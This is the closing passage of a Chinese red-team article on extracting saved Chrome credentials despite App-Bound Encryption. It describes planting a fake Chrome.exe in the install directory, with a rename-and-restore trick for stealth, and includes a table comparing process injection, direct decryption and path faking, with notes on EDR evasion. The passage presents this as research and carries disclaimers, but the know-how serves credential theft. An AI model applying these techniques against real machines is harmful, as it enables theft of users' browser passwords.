这个方法唯一的缺点是需要管理员权限,要在浏览器安装目录放置文件,需要管理员权限。但比起另外两个方法的局限性,获取管理员权限的成本已经很低了,现在随便一个银狐事件基本都是管理员权限,UACBypass 或者直接前期钓鱼诱导点击 UAC 确认窗口都可以实现。

如果要做的更隐蔽一点,避免被发现 Chrome 的安装目录下被放了不属于 Chrome 的程序,可以让加载器先重命名原来的 Chrome.exe,再放一个伪造的 Chrome.exe 来获取数据,获取完后删除并恢复原来的 Chrome.exe,经过测试整个过程非常快,毫秒级操作几乎无感。

后来查阅资料发现,Glove Stealer 恶意软件曾使用过这种手法,将窃密程序放置于 Chrome 的 Application 目录中绕过路径校验。

三、总结

三种凭据提取思路对比

| | | | | | — | — | — | — | | 方法 | 权限 | 原理 | 优缺点 | | 进程注入 | 普通用户 | 注入chrome.exe,继承进程身份,调用IElevator::DecryptData,路径验证通过 | 无需提权,隐蔽性高,但内存操作复杂,EDR HOOK 环境下不稳定 | | 直接解密 | 管理员 | 逆向elevation_service获取硬编码密钥,模拟lsass双层DPAPI,手动解密信封层 | 不需路径验证但硬编码密钥可能随版本变化,DPAPI调用可能被EDR监控,且需要管理员权限 | | 伪造路径 | 管理员 | 将程序放在Chrome安装目录下,规范化路径与Chrome一致,通过路径验证,服务自动完成全部解密 | 无需DPAPI调用和复杂内存操作,但需要管理员权限写文件到Chrome安装目录下 |

三种方法都各有优缺点,建议根据具体实战环境选择最适合的方法。

注:本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~

一起当保安,少走30年弯路 ↓↓↓****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:红蓝攻防研究实验室 网络保安29 网络保安29《Chromium数据加密演进和ABE保护下的浏览器凭据提取》

评论:0   参与:  0